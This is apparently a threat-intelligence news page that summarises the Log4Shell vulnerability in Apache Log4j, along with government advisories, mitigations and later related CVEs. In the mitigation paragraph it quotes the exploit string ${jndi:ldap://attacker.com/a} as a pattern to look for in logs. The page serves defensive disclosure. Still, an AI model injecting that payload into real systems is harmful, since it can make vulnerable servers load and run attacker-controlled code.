Loading story…
A critical vulnerability in Apache Log4j 2, tracked as CVE-2021-44228, allows unauthenticated remote code execution through abuse of the library’s JNDI functionality. Affected versions include 2.0-beta9 through 2.14.1, where attacker-controlled input in log messages, configuration, or parameters can trigger lookups to malicious LDAP and related endpoints, potentially leading to full server compromise, data exposure, malware deployment, and service disruption. CISA described the flaw as a severe, widespread risk because Log4j is embedded across countless enterprise applications and services.
Apache and government cybersecurity authorities urged organizations to rapidly identify all direct and transitive uses of Log4j, upgrade to 2.15.0 or later, and apply mitigations where immediate patching is not possible. Recommended defensive steps included disabling message lookups, removing the JndiLookup class, monitoring logs for exploit strings such as ${jndi:ldap://attacker.com/a}, hardening internet-exposed systems, and isolating affected hosts while resetting credentials on any servers suspected of compromise.
Mallory correlates global threat intelligence with your attack surface — know if you’re exposed before adversaries strike.
3 events from the most recent confirmed update back to the earliest known activity.
Malaysia's NC4 issued an alert warning that CVE-2021-44228 could lead to complete server takeover, information leakage, malware infection, and service disruption. The advisory recommended upgrading to Log4j 2.15.0 or applying mitigations such as disabling message lookups or removing the JndiLookup class.
CISA published a statement from Director Jen Easterly addressing the Log4j vulnerability and emphasizing its seriousness. The statement marked an official U.S. government response to the emerging risk posed by widespread exploitation potential.
A critical Apache Log4j 2 vulnerability, CVE-2021-44228, was publicly disclosed. The flaw affects Log4j 2 versions 2.0-beta9 through 2.14.1 and can enable unauthenticated remote code execution via JNDI lookups.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
5 references tracked. Mallory keeps watching after this page renders.
nacsa.gov.my
Open sourcecisa.gov
Open sourcelogging.apache.org
Open sourcelogging.apache.org
Open sourcecve.mitre.org
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
A critical remote code execution flaw in Apache Log4j, tracked as **`CVE-2021-44228`** and widely known as **Log4Shell**, exposed a vast range of Java applications and services to unauthenticated compromise through the library’s JNDI lookup feature. Security reporting said the bug affected Log4j versions **`2.0-beta9` through `2.14.1`**, with early warnings surfacing through attacks against Minecraft servers before researchers and vendors confirmed broader exposure across enterprise software, cloud services, and Apache frameworks including Struts2, Solr, Druid, Flink, and Kafka. Researchers also warned that exploitation could lead not only to remote code execution but also to leakage of sensitive environment data such as cloud credentials and developer secrets. Exploit code was released publicly and was quickly followed by heavy Internet-wide scanning and attack activity, including targeting of **VMware vCenter Server**, where VMware confirmed exploitation attempts in the wild and urged immediate mitigation. **CISA** described the flaw as one of the most serious vulnerabilities in recent memory and warned that **hundreds of millions of devices** could be affected, with likely follow-on abuse by cryptominers, ransomware operators, and other threat actors. Apache responded with a series of Log4j updates, including releases such as **`2.12.2`**, **`2.12.3`**, **`2.12.4`**, and **`2.3.1`**, while defenders published detection content and scanning tools as organizations raced to identify vulnerable systems and reduce exposure.
Jun 29, 2026
Apache Log4j's initial fix for **Log4Shell** proved incomplete, as version `2.15.0` remained vulnerable to **CVE-2021-45046** under certain non-default but realistic configurations. Security reports said attackers could bypass the localhost-only JNDI restriction introduced in `2.15.0` with a crafted LDAP URI, enabling remote code execution or sensitive data exfiltration when lookups were enabled, specific Pattern Layout Context Lookup settings were used, or applications logged attacker-controlled input through `Logger.printf` and related paths. Apache responded by hardening Log4j further in `2.16.0`, disabling JNDI by default and requiring explicit opt-in for users who still needed it. Advisories from Snyk and others urged organizations to upgrade beyond `2.15.0` immediately, or remove the `JndiLookup` class from affected releases as a temporary mitigation, while the broader Log4j incident continued to evolve with later fixes for additional flaws including `CVE-2021-45105` and `CVE-2021-44832`.
Jun 29, 2026
Apache Log4j remained at the center of a major software supply chain security crisis after **Log4Shell** (`CVE-2021-44228`) exposed Java applications to remote code execution through crafted requests that could force vulnerable systems to retrieve and run attacker-controlled payloads. The flaw affected Log4j `2.0-beta9` through `2.14.1`, was reported as easy to exploit, and was observed in widespread attacks across enterprise networks, prompting urgent calls to identify exposed assets and apply vendor fixes or mitigations. Remediation proved more complex as Apache issued updates and additional Log4j vulnerabilities emerged, including `CVE-2021-45046`, `CVE-2021-45105`, and `CVE-2021-44832`, raising concerns that patching alone would not address prior compromise or attacker persistence. Organizations were pushed to combine software updates with threat hunting and incident response, while defenders also relied on community tracking of affected products through resources such as CISA's `log4j-affected-db`, which has since been archived as read-only.
Jul 23, 2026